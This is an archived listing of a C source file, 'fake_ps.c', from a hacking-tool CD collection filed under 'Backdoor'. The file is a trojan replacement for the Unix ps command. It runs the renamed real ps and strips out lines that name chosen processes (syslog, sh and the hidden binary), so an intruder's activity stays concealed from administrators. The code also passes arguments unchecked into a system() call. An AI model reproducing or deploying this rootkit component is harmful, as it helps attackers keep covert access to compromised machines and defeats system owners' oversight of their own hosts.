home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Hacking tool / Backdoor / ps.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-04-29  |  1.8 KB  |  98 lines
  1. /* 
  2. * fake_ps.c 
  3. * Set the path to original ps, set the environment to withdraw, 
  4. * compile, resize and enjoy. 
  5. * 
  6. * Note: Never give PS more than 15 bytes of path 
  7. * funny things will happen if you exceed this limit. 
  8. * 
  9. * Author: telar (telar@mail.com) 21/12 - 1999 
  10. */ 
  11. #include <stdio.h> 
  12. #include <string.h> 
  13.  
  14. #define PR "h2so4" /* Name of hidden ps */ 
  15. #define PS "/usr/bin/h2so4" /* full path */ 
  16. #define ERR "/tmp/.problem" /* error handling */ 
  17. #define TMP "/tmp/.tmp" /* temporary file */ 
  18. #define nr 4 /* no. lines in lns */ 
  19. #define OFFSET 100 /* for a safer world */ 
  20.  
  21. char *lns[nr] = { /* fill in what you'd- */ 
  22. "syslog", /* like to be removed */ 
  23. "writesyslog", 
  24. "sh", 
  25. "sh -c /usr/bin/h2so", 
  26. }; 
  27.  
  28. char *s; 
  29. int i,c,k; 
  30. FILE *ep,*op; 
  31. char bufa[12024]; 
  32. char bufb[12024]; 
  33. char bufc[12024]; 
  34.  
  35. int check(char *b) 
  36. { 
  37. for(i=0;i<nr;i++) { 
  38. if((s=strstr(b,lns[i]))!=NULL) { 
  39. return(-1); 
  40. } 
  41. } 
  42. return(0); 
  43. } 
  44.  
  45.  
  46. int fixps(int z) 
  47. { 
  48. while(fgets(bufc,z+OFFSET,ep)) { 
  49. if(!(s=strstr(bufc,PS))) { 
  50. if(!(s=strstr(bufc,PR))) { 
  51. if(!(check(bufc))) { 
  52. printf("%s",bufc); } 
  53.  
  54. } 
  55. } 
  56. } 
  57. return; 
  58. } 
  59.  
  60. main(int argc, char *argv[]) 
  61. { 
  62.  
  63. ep=fopen(TMP,"w"); 
  64. fputs("\n",ep); 
  65. if (argc>1) { 
  66. strcat(bufa,PS); 
  67. strcat(bufb,""); 
  68. for(i=1;i<argc;i++) { 
  69. strcat(bufb," "); 
  70. strcat(bufa," "); 
  71. strcat(bufb,argv[i]); 
  72. strcat(bufa,argv[i]); 
  73. } 
  74. } 
  75. if (argc<=1) { 
  76. strcat(bufa,PS); 
  77. strcat(bufb,""); } 
  78. fclose(ep); 
  79. strcat(bufa," >> "); 
  80. strcat(bufa,TMP); 
  81. system(bufa); 
  82.  
  83. if ((ep=fopen(TMP,"r"))==NULL) { 
  84. op=fopen(ERR,"a"); 
  85. fprintf(op,"\nProblem occured, trojan dumped:\n%s execved by %s 
  86. doing %s",PS,getlogin(),bufb); 
  87. fclose(op); 
  88. execv(PS,bufb); 
  89. exit(0); 
  90. } 
  91.  
  92. while ((c=fgetc(ep))!='\n') { 
  93. k++; } 
  94.  
  95. fixps(k); 
  96. fclose(ep); 
  97. remove(TMP); 
  98. }